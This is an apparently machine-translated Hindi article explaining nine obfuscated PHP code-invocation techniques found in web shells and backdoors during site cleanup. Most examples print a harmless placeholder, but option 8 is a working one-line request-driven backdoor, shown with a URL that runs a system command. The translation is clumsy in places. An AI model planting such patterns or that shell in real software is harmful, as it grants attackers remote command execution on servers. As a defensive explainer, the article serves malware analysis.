दुर्भावनापूर्ण स्क्रिप्ट में उपयोग किए गए इंप्लिकेंट php कोड इनवोकेशन तरीके

साइटों के इलाज की प्रक्रिया में, हैकर के गोले और बैकस्ट की कई किस्मों की खोज की जाती है। लिपियों में कार्यक्षमता और स्रोत कोड को बाधित करने के तरीके में भिन्नता है, लेकिन सभी में एक चीज समान है - यह चर और कार्यों की एक अंतर्निहित घोषणा है, साथ ही साथ एक अप्रत्यक्ष फ़ंक्शन कॉल भी है।

यह दृष्टिकोण दुर्भावनापूर्ण कोड डेवलपर्स के बीच लोकप्रिय है, क्योंकि एक तरफ यह स्रोत कोड के विश्लेषण को काफी जटिल करता है, और दूसरी तरफ यह आपको पाठ डेटा में कोड स्टोर करने की अनुमति देता है। उदाहरण के लिए, दुर्भावनापूर्ण कोड के भाग को किसी डेटाबेस, jpeg / png / gif मेटा-डेटा से तीसरे पक्ष की साइट से डाउनलोड किया जा सकता है, या स्क्रिप्ट अनुरोध में प्रेषित किया जा सकता है। इसके अलावा, एक सादे पाठ स्ट्रिंग के रूप में प्रस्तुत कोड का हिस्सा, आसानी से एन्क्रिप्ट किया जा सकता है।

वैसे, इन विधियों का उपयोग वेब डेवलपर्स द्वारा लाइसेंस कुंजियों की जांच के लिए लिपियों में शांतिपूर्ण उद्देश्यों के लिए और वेब अनुप्रयोगों को पंजीकृत करने के लिए किया जाता है ताकि उन उत्पादों को दरार करना मुश्किल हो।

सभी प्रकार के दुर्भावनापूर्ण कोड होने के बावजूद, घोषित और अप्रत्यक्ष रूप से कॉलिंग फ़ंक्शन के लिए कई विकल्प नहीं हैं। निम्नलिखित कोड को अदृश्य रूप से लागू करने के लिए विभिन्न तकनीकों के उदाहरण हैं। सादगी और स्पष्टता के लिए, कॉल द्वारा "दुर्भावनापूर्ण कोड" का प्रतिनिधित्व करें

echo "Test" 

जो पृष्ठ पर "टेस्ट" शब्द प्रदर्शित करता है। स्वाभाविक रूप से, असली गोले और बैकडोर में, चर और कार्यों के नाम, साथ ही निष्पादन योग्य कोड, खुले रूप में संग्रहीत नहीं होते हैं और ज्यादातर मामलों में बाधित होते हैं।



विकल्प 1: अप्रत्यक्ष फ़ंक्शन कॉल

 <?php $a = "var_dump"; $b = "Test"; $a($b); ?> 

विकल्प 2: कोड का निष्कासन के माध्यम से निष्पादन

 <?php eval('$a = "Test"; echo $a;'); ?> 

विकल्प 3: मुखर के माध्यम से कोड निष्पादन

 <?php assert('print("Test")'); ?> 

विकल्प 4: array_map के माध्यम से कोड निष्पादन

 <?php function evil($a) { echo $a; } array_map('evil', array("Test")); ?> 

विकल्प 5: preg_replace ('/.* / e') के माध्यम से कोड निष्पादन

 <?php preg_replace('/.*/e', 'print("Test")', ''); ?> 

विकल्प 6: कोड निष्पादन preg_replace_callback के माध्यम से

 <?php $a = function () { echo "Test"; }; preg_replace_callback('/.*/', $a, ''); ?> 

विकल्प 7: usort, uasort, uksort के माध्यम से कोड का निष्पादन

 <?php $a = function ($x, $y) { echo "Test"; }; $b = array(1 => '1', 2 => '2'); usort( $b, $a); ?> 

विकल्प 8: छिपा हुआ समारोह घोषणा और अर्क से गुजरने वाला पैरामीटर

 <?php extract($_REQUEST); $a($b); ?> 

Site.ru/script.php?a=system&b=ls प्रारंभ करने पर सिस्टम फ़ंक्शन सिस्टम ("ls") निष्पादित करेगा

विकल्प 9: पूर्ण कार्य को पंजीकृत करके (आप तत्काल निष्पादन के लिए बाहर निकलें () या मर सकते हैं)

 <?php register_shutdown_function(create_function('', "echo 'Test';")); ?> 

उसी दृष्टिकोण का उपयोग सभी कॉल के साथ किया जा सकता है जो एक कॉल करने योग्य फ़ंक्शन को एक तर्क के रूप में लेते हैं: call_user_func_array (), call_user_func (), Forward_static_call_array, forward_static_call (), register_tick_function ()। हालांकि वास्तविक गोले और बैकसाइड में हमने इन फ़ंक्शन के माध्यम से कॉल का सामना नहीं किया है, आमतौर पर 8 के माध्यम से विकल्प 1 का उपयोग किया जाता है।

वास्तविक बैकडोर में, उपरोक्त विकल्पों का उपयोग संयोजन में किया जाता है, और चर और कार्यों की घोषणाओं को अक्सर स्क्रिप्ट के बाहर ले जाया जाता है (उदाहरण के लिए, उन्हें एक डेटाबेस से, एक दूरस्थ सर्वर से, या छवि मेटा-डेटा से डाउनलोड किया जाता है)।